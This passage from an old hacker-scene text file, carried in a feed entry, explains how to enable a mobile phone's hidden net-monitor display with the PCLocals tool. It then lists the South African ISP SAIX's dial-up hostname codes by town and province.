 C1 (path loss criterion, used for cell selection and reselection). The range&lt;br /&gt;
 is -99 to 99&lt;br /&gt;
 RLT (Radio Link timeout) &lt;br /&gt;
 Timeslot &lt;br /&gt;
 Indication of the transmitter status &lt;br /&gt;
 Information on the network parameters &lt;br /&gt;
 TMSI (temporary Mobile Subscriber Identity) &lt;br /&gt;
 Cell Identification (CELL ID, number of the cell being used) &lt;br /&gt;
 MCC (Mobile Country Code) &lt;br /&gt;
 MNC (Mobile Network Code) &lt;br /&gt;
 LAC (location Area Code) &lt;br /&gt;
 Ciphering (on/off) &lt;br /&gt;
 Hopping (on/off) &lt;br /&gt;
 DTX (on/off) &lt;br /&gt;
 Discarding cell barred information&lt;br /&gt;
 &lt;br /&gt;
 Here is a 10 step description for enabling the net monitor (field test&lt;br /&gt;
 display) using PCLocals:&lt;br /&gt;
 &lt;br /&gt;
 Make sure to start PCLocals in plain DOS&lt;br /&gt;
 &lt;br /&gt;
 First don&amp;#039;t connect the phone, start the program and ignore the error message.&lt;br /&gt;
 Configure the cable type and com port (hardware com port, not the virtual com&lt;br /&gt;
 port like for the datasuite).&lt;br /&gt;
 Save the settings, quit the program. &lt;br /&gt;
 Connect the phone with the cable and start the program. &lt;br /&gt;
 The phone &amp;quot;boots&amp;quot; as you enter the main menu and all options become available&lt;br /&gt;
 (all menus are white colored).&lt;br /&gt;
 Choose menu 3 (ME Memory Functions). &lt;br /&gt;
 Choose menu 6 (Field Test Display Settings). &lt;br /&gt;
 Now you have the following options:&lt;br /&gt;
 &lt;br /&gt;
 Enter 243 to activate the &amp;quot;big&amp;quot; net monitor (menu 01 to 89 including menus 01&lt;br /&gt;
 to 19).&lt;br /&gt;
 Enter 242 to activate the &amp;quot;small&amp;quot; net monitor (menu 01 to 19). &lt;br /&gt;
 Enter 241 to deactivate the net monitor. &lt;br /&gt;
 Enter 240 to reset timers (?) &lt;br /&gt;
 Don&amp;#039;t forget to confirm your selection with hitting enter (you won&amp;#039;t see any&lt;br /&gt;
 reaction but it&amp;#039;s necessary)&lt;br /&gt;
 &lt;br /&gt;
 Quit the program, the phone &amp;quot;boots&amp;quot; and enjoy the net monitor &lt;br /&gt;
 &lt;br /&gt;
 All following actions are done with the phone.&lt;br /&gt;
 &lt;br /&gt;
 Go to the menu net monitor and at the test prompt enter 241 to deactivate the&lt;br /&gt;
 net monitor completely. Furtherly you can change from the big net monitor to&lt;br /&gt;
 the small net monitor by entering 242 at the test prompt (if menu net monitor&lt;br /&gt;
 is still available); Note: after that you can&amp;#039;t change to the big net monitor&lt;br /&gt;
 again!!&lt;br /&gt;
 &lt;br /&gt;
 Note: if u cant find pclocals use net_monitor.exe, i dunno if it gets the big&lt;br /&gt;
 or small menu&lt;br /&gt;
 &lt;br /&gt;
 MercEnarY sends greetz to: Depach, ReaXioN, BillaBong and IleK&lt;br /&gt;
 &lt;br /&gt;
 All comments should be mailed to MercEnarY at mercenary@sylicon.org&lt;br /&gt;
 &lt;br /&gt;
 ;,                                                                       ,;;4,&lt;br /&gt;
 ,?;;$;,__________________________________________________________________,,7$;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
      __... .                                                   . ...__&lt;br /&gt;
   d$$^^                                                             ^^$$b&lt;br /&gt;
 .?$;                                                                   ;$$;:;, &lt;br /&gt;
 _.    SAIX Dynamic IP System explained by Moe1, Virulent and Jumpers ._ ,;:;,, _. &lt;br /&gt;
 &lt;br /&gt;
 ndf53-01-p01.gt.saix.net&lt;br /&gt;
 [dialup server code]-[subnet unit]-[port assigned].[province].saix.net&lt;br /&gt;
 &lt;br /&gt;
 Province Info&lt;br /&gt;
 -------------&lt;br /&gt;
 *.ec.saix.net = Eastern Cape&lt;br /&gt;
 *.fs.saix.net = Free State&lt;br /&gt;
 *.gt.saix.net = Gauteng&lt;br /&gt;
 *.kn.saix.net = Kwazulu Natal&lt;br /&gt;
 *.nt.saix.net = Northen Transvaal&lt;br /&gt;
 *.wc.saix.net = Western Cape&lt;br /&gt;
 &lt;br /&gt;
 Dialup server codes&lt;br /&gt;
 -------------------&lt;br /&gt;
 bfn53   - | bfn53-01.fs.saix.net       | Bloemfontein dial up&lt;br /&gt;
 bfw25   - | bfw25-01.saix.net          | Beaufort West dial up&lt;br /&gt;
 blm53   - | blm53-01-23.fs.saix.net    | Bethlehem dial up&lt;br /&gt;
 bso36   - | bso36-01.ec.saix.net       | Bisho dial up&lt;br /&gt;
 cbs53   - | cbs53-01.wc.saix.net       | Cape town dial up&lt;br /&gt;
 cis25   - | cis25-01.wc.saix.net       | Christiana dial up&lt;br /&gt;
 cn53    - | cn53-01.wc.saix.net        | Riversdale dial up&lt;br /&gt;
 ctb53   - | ctb53-01.wc.saix.net       | Bellville dial up&lt;br /&gt;
 dps53   - | dps53-01.kn.saix.net       | Durban dial up&lt;br /&gt;
 el25    - | el25-01.ec.saix.net        | East London dial up&lt;br /&gt;
 epi53   - | epi53-01.kn.saix.net       | Empangeni dial up&lt;br /&gt;
 gfr25   - | gfr25-01-s1.saix.net       | Graaff-Reinet dial up&lt;br /&gt;
 gw53    - | gw53-01.ec.saix.net        | George dial up&lt;br /&gt;
 hwh53   - | hwh53-01.gt.saix.net       | Halfway House dial up&lt;br /&gt;
 kby53   - | kby53-01-.fs.saix.net      | Kimberley dial up&lt;br /&gt;
 kdp53   - | kdp53-01.gt.saix.net       | Krugersdorp dial up&lt;br /&gt;
 kp53    - | kp53-01.nt.saix.net        | Klerksdorp dial up&lt;br /&gt;
 kmp53   - | kmp53-01.gt.saix.net       | Kempton Park dial up&lt;br /&gt;
 kvn53   - | kvn53-01.gt.saix.net       | Kelvinia dial up&lt;br /&gt;
 lt53    - | lt53-01-01.nt.saix.net     | Louis Trichardt dial up&lt;br /&gt;
 lys53   - | lys53-01.kn.saix.net       | Ladysmith dial up&lt;br /&gt;
 npt53   - | npt53-01.nt.saix.net       | Nelspruit  dial up&lt;br /&gt;
 pc36    - | pc36-01.nt.saix.net        | Potchefstroom dial up&lt;br /&gt;
 pgb53   - | pgb53-01.nt.saix.net       | Pietersburg dial up&lt;br /&gt;
 pmb53   - | pmb53-01.kn.saix.net       | Pietermaritzburg dial up&lt;br /&gt;
 ppr53   - | ppr53-01.nt.saix.net       | Pretoria dial up&lt;br /&gt;
 pss36   - | pss36-01.kn.saix.net       | Port Shepstone dial up&lt;br /&gt;
 psw53   - | psw53-01.ec.saix.net       | Port Elizabeth dial up&lt;br /&gt;
 qn25    - | qn25-01.saix.net           | Queenstown dial up&lt;br /&gt;
 rsb53   - | rsb53-01.gt.saix.net       | Rosebank dial up&lt;br /&gt;
 rst36   - | rst36-01.nt.saix.net       | Rustenburg dial up&lt;br /&gt;
 sca53   - | sca53-01.nt.saix.net       | *&lt;br /&gt;
 swm25   - | swm25-01.saix.net          | Swellendam dial up&lt;br /&gt;
 ndf53   - | ndf53-01.gt.saix.net       | Newdoornfontein dial up&lt;br /&gt;
 npt25   - | npt25-01.saix.net          | Nelspruit dial up&lt;br /&gt;
 ns53    - | ns53-01.nt.saix.net        | Nylstroom dial up&lt;br /&gt;
 nwc36   - | nwc23-01.kn.saix.net       | Newcastle dial up&lt;br /&gt;
 md25    - | md25-01.saix.net           | Middelburg (Cape) dial up&lt;br /&gt;
 md53    - | md53-01.gt.saix.net        | Middelburg (Tvl) dial up&lt;br /&gt;
 mmb25   - | mmb25-01.saix.net          | Mmabathu dial up&lt;br /&gt;
 mmb53   - | mmb53-01.nt.saix.net       | Mmabathu dial up&lt;br /&gt;
 my53    - | my53-01.wc.saix.net        | Malmesbury dial up&lt;br /&gt;
 ue53    - | ue53-01.ec.saix.net        | Uitenhage dial up&lt;br /&gt;
 uta36   - | uta36-01.ec.saix.net       | Umtata dial up&lt;br /&gt;
 up53    - | up53-01.fs.saix.net        | Upington dial up&lt;br /&gt;
 vdd53   - | vdd53-01.wc.saix.net       | Vredendal dial up&lt;br /&gt;
 ver53   - | ver53-01.nt.saix.net       | Vereeniging dial up&lt;br /&gt;
 vkr25   - | vkr25-01.saix.net          | Volksrust dial up&lt;br /&gt;
 wkm53   - | wkm53-01.fs.saix.net       | Welkom dial up&lt;br /&gt;
 wtk53   - | wtk53-01.gt.saix.net       | *&lt;br /&gt;
 woc36   - | woc36-01.wc.saix.net       | Worcester dial up&lt;br /&gt;
 &lt;br /&gt;
 ;,                                                                       ,;;4,&lt;br /&gt;
 ,?;;$;,__________________________________________________________________,,7$;&lt;br /&gt;
&lt;/div&gt;</summary>
		<author><name>imported&gt;Unknown</name></author>
	</entry>
</feed>